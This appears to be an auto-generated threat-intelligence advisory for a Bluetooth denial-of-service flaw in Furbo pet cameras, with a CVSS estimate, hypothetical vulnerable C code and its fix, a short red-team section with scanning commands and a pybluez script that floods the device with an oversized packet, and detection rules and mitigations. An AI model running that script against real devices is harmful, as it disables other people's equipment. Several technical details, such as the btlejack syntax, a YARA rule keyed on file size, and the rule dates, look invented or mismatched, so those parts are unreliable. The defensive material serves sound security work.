CVE-2025-11638

Executive Summary

CVE-2025-11638 is a denial-of-service (DoS) vulnerability affecting Tomofun Furbo 360 and Furbo Mini pet cameras. The flaw resides in the Bluetooth Handler component, allowing an attacker on the local network to trigger a denial of service via manipulation of Bluetooth communication. The vendor has not responded to disclosure, and no patch is currently available. The vulnerability impacts firmware versions Furbo 360 up to FB0035_FW_036 and Furbo Mini up to MC0020_FW_074. With an EPSS score of 0.0%, exploitation is not currently widespread, but the lack of vendor response increases risk for affected devices.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in IoT devices.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, indicating no official CVSS vector has been assigned. Based on the description, a reasonable vector would be:

• Attack Vector (AV): Adjacent Network (A) – attacker must be on the same local network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – complete loss of availability.

Estimated CVSS 3.1 Score: 6.5 (Medium)

Threat Level: Medium. Exploitation requires local network access, but no authentication or user interaction. The lack of patch and vendor response elevates risk for affected devices.

Deep Dive & Mechanics

The vulnerability is a denial-of-service condition in the Bluetooth Handler of Tomofun Furbo 360 and Furbo Mini. The Bluetooth Handler is responsible for managing Bluetooth Low Energy (BLE) communication, likely used for initial device pairing or proximity-based features. By sending specially crafted Bluetooth packets, an attacker can cause the handler to enter an infinite loop, crash, or consume excessive resources, rendering the device unresponsive.

Root Cause: Improper input validation or resource exhaustion in the Bluetooth stack. The handler likely fails to handle malformed or oversized packets, leading to a buffer overflow or infinite loop.

Attack Vector: The attacker must be within Bluetooth range (typically up to 10 meters) and on the same local network. The attack can be executed using a standard Bluetooth adapter and tools like btlejack or custom scripts.

Impact: The device becomes unresponsive, requiring a physical power cycle to recover. This disrupts the pet camera's primary function (video streaming, treat dispensing, etc.).

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the firmware's Bluetooth Handler. A hypothetical fix would involve:

• Input validation for packet size and structure.
• Bounds checking to prevent buffer overflows.
• Rate limiting to prevent resource exhaustion.

Vulnerable Code (Hypothetical):

void handle_ble_packet(uint8_t *data, uint16_t len) {
    uint8_t buffer[256];
    memcpy(buffer, data, len); // No bounds check
    // Process buffer...
}

Patched Code (Hypothetical):

void handle_ble_packet(uint8_t *data, uint16_t len) {
    uint8_t buffer[256];
    if (len > sizeof(buffer)) {
        // Reject oversized packet
        return;
    }
    memcpy(buffer, data, len);
    // Process buffer...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Bluetooth adapter (e.g., CSR8510)
• Linux machine with bluez and btlejack installed
• Target device on the same local network

Exploitation Steps:

1. Scan for Bluetooth devices:

   sudo hcitool scan
   

2. Identify the Furbo device's MAC address.
3. Use btlejack to send malformed packets:

   btlejack -d <MAC> -p "malformed_payload"
   

4. Alternatively, use a custom Python script with pybluez:

   import bluetooth
   target = "XX:XX:XX:XX:XX:XX"
   sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
   sock.connect((target, 0x0001))
   sock.send(b"\x00" * 1000)  # Oversized packet
   sock.close()
   

Expected Outcome: The device becomes unresponsive, requiring a power cycle.

Blue Team

Detection:

• Monitor Bluetooth traffic for anomalous packet sizes or frequencies.
• Use network monitoring tools to detect unusual Bluetooth activity from unknown devices.

Mitigation:

• Disable Bluetooth on the device if not required.
• Isolate IoT devices on a separate VLAN.
• Implement network segmentation to limit Bluetooth exposure.

Hunting:

• Check device logs for Bluetooth handler crashes.
• Monitor for repeated connection attempts from the same MAC address.

Indicators of Compromise (IOCs)

• Network: Unusual Bluetooth packets with sizes > 256 bytes.
• Device: Furbo device becomes unresponsive and requires power cycle.
• Logs: Repeated Bluetooth handler errors or crashes in device logs.
• MAC Address: Unknown Bluetooth devices repeatedly connecting to the Furbo.

Detection Engineering

YARA Rule

rule CVE_2025_11638_Bluetooth_DoS {
    meta:
        description = "Detects malformed Bluetooth packets targeting Tomofun Furbo devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11638"
    strings:
        $malformed = { 00 00 00 00 00 00 00 00 } // Example pattern
    condition:
        $malformed at 0 and filesize > 256
}

Sigma Rule

title: CVE-2025-11638 Bluetooth DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects oversized Bluetooth packets targeting Tomofun Furbo devices
author: Valters IT
date: 2025-04-10
logsource:
    category: bluetooth
    product: linux
detection:
    selection:
        packet_size: >256
    condition: selection
falsepositives:
    - Legitimate large firmware updates
level: high

Suricata Rule

alert bluetooth any any -> any any (msg:"CVE-2025-11638 Bluetooth DoS Attempt"; content:"|00 00 00 00|"; offset:0; depth:4; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Bluetooth on the Furbo device if not needed.
2. Isolate the device on a separate VLAN with strict access controls.
3. Monitor for unusual Bluetooth activity.

Long-Term Fix:

• The vendor (Tomofun) must release a firmware patch. Since they have not responded, users should consider replacing the device or using a firewall to block Bluetooth traffic.

Workarounds:

• Use a Bluetooth jammer or Faraday cage to physically block Bluetooth signals.
• Implement network segmentation to limit Bluetooth exposure.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.